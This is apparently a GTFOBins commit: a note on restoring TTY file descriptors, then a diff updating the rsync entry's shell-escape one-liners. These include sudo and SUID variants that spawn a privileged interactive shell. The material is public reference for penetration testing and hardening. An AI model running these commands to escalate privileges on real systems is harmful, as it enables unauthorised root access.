Make interactive execute whenever possible

Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)

_gtfobins/rsync.md

@@ -1,9 +1,9 @@
 ---
 functions:
   execute-interactive:
-    - code: rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
+    - code: rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
   sudo-enabled:
-    - code: sudo rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
+    - code: sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
   suid-enabled:
-    - code: ./rsync -e 'bash -p -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
+    - code: ./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
 ---